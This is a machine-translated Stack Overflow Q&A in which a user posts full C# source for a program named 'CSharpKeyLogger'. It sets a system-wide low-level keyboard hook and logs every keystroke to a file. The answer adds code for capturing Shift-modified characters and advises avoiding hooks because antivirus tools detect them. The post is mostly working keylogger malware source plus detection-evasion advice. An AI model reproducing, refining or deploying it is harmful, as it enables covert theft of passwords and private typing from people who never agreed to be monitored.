如何在 C# 中正确捕获用户的击键,即尊重 SHIFT 键等

Posted

技术标签:

【中文标题】如何在 C# 中正确捕获用户的击键,即尊重 SHIFT 键等【英文标题】:How to properly capture user's keystrokes in C#, i.e. respecting SHIFT key etc 【发布时间】:2018-12-08 23:31:33 【问题描述】:

我编写了以下 C# 程序来捕获用户的击键。

它工作得很好,除了所有键都记录为小写而不考虑 SHIFT 键(见下文)。

我已阅读所有 Win32 API 的文档。我仍然很想念一些东西。

如何更正此程序以正确记录击键?

如果我输入HelloWorld!!!,log.txt中会输出以下键:

h
e
l
l
o
w
o
r
l
d
1
1
1

即不考虑SHIFT,这就是GetKeyboardState()的目的?

程序:

using System;
using System.IO;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Windows.Forms;
using System.Text;

namespace CSharpKeyLogger

    public static class Program
    
        [DllImport("user32.dll")]
        private static extern IntPtr SetWindowsHookEx(int idHook, HookProc lpfn, IntPtr hMod, uint dwThreadId);

        [DllImport("user32.dll")]
        private static extern bool UnhookWindowsHookEx(IntPtr hhk);

        [DllImport("user32.dll")]
        private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode, IntPtr wParam, IntPtr lParam);

        [DllImport("kernel32.dll")]
        private static extern IntPtr GetModuleHandle(string lpModuleName);

        [DllImport("user32.dll", CharSet = CharSet.Auto)]
        public static extern int GetKeyboardState(byte[] keystate);

        [DllImport("user32.dll", CharSet = CharSet.Auto)]
        public static extern int MapVirtualKey(uint uCode, int uMapType);

        [DllImport("user32.dll", CharSet = CharSet.Auto)]
        public static extern int ToUnicode(uint wVirtKey, uint wScanCode, byte[] lpkeystate, System.Text.StringBuilder pwszBuff, int cchBuff, uint wFlags);

        private const int WH_KEYBOARD_LL = 13;
        private const int WM_KEYDOWN = 0x0100;

        private const int MAPVK_VK_TO_VSC = 0;

        private const int BUFF_SZ = 4;

        private const string logFileName = "log.txt";
        private static StreamWriter logFile;

        private static HookProc hookProc = HookCallback;
        private static IntPtr hookId = IntPtr.Zero;

        public static void Main()
        
            logFile = File.AppendText(logFileName);
            logFile.AutoFlush = true;

            hookId = SetHook(hookProc);
            Application.Run();
            UnhookWindowsHookEx(hookId);
        

        private static IntPtr SetHook(HookProc hookProc)
        
            IntPtr moduleHandle = GetModuleHandle(Process.GetCurrentProcess().MainModule.ModuleName);
            return SetWindowsHookEx(WH_KEYBOARD_LL, hookProc, moduleHandle, 0);
        

        private delegate IntPtr HookProc(int nCode, IntPtr wParam, IntPtr lParam);

        private static IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam)
        
            if (nCode >= 0 && wParam == (IntPtr)WM_KEYDOWN)
            
                uint vkCode = (uint)Marshal.ReadInt32(lParam);

                byte[] kb = new byte[256];
                GetKeyboardState(kb);

                StringBuilder buf = new StringBuilder(BUFF_SZ + 1);

                switch(ToUnicode(vkCode, (uint)MapVirtualKey(vkCode, MAPVK_VK_TO_VSC), kb, buf, BUFF_SZ, 0))
                
                    case -1:
                        break;
                    case 0:
                        break;
                    case 1:
                    case 2:
                    case 3:
                    case 4:
                        logFile.WriteLine(buf.ToString());
                        break;
                
            

            return CallNextHookEx(hookId, nCode, wParam, lParam);
        
    

【问题讨论】:

您将不得不检查修改键(如 shift)并对其执行操作。 @codeteq - 你能提供一个小例子来说明如何做到这一点吗? GetKeyboardState() 不应该这样做吗? 既然你是用C#编程的,那这和C++有什么关系呢?您应该删除标签并坚持使用一种语言。 @ThomasMatthews - 我使用 C++ Win32 API。 阅读 GetKeyboardState() 上的文档。 msdn.microsoft.com/en-us/library/windows/desktop/… -- 还有GetKeyState():msdn.microsoft.com/en-us/library/windows/desktop/… 【参考方案1】:

您需要自己检查修饰键:

使用GetAsyncKeyState

    [DllImport("user32.dll")]
    static extern long GetAsyncKeyState(uint nVirtKey);

然后,您将需要确定在获得其他键时按下了哪个修饰键。在您的代码中,您可以这样做:

 var t = buf.ToString();
 //  > 1 for the condition is working there are certain values for keydown/keypressed etc. just example!
 var shifted = GetAsyncKeyState((uint)Keys.LShiftKey) > 1
               || GetAsyncKeyState((uint)Keys.RShiftKey) > 1;
 if (shifted)
      t = t.ToUpper();
 Console.Write(t);

如果您尝试创建键盘记录器(假设是好事),请不要使用 钩子,因为它们可以很容易地被其他程序检测到,即大多数 防病毒软件 - 给您的程序留下不好的印象。

【讨论】:

谢谢。但是,我看到其他人说钩子在记忆方面效率更高?如果t=1 并且应该是“!”,则声明t = t.ToUpper(); 会起作用。 ? 钩子在记忆方面更有效,但很容易被检测到。 ToUpper 仅适用于字母字符。这只是一个例子。

以上是关于如何在 C# 中正确捕获用户的击键,即尊重 SHIFT 键等的主要内容,如果未能解决你的问题,请参考以下文章

如何修复“忽略的击键”

如何对 NSUndoManager+UITextInput 的击键进行分组

如何在 Windows 上使用 C++ 监听终端外的击键

如何等待特定的击键?

如何将异步方法绑定到 Tkinter 中的击键?

Meterpreter入门与精通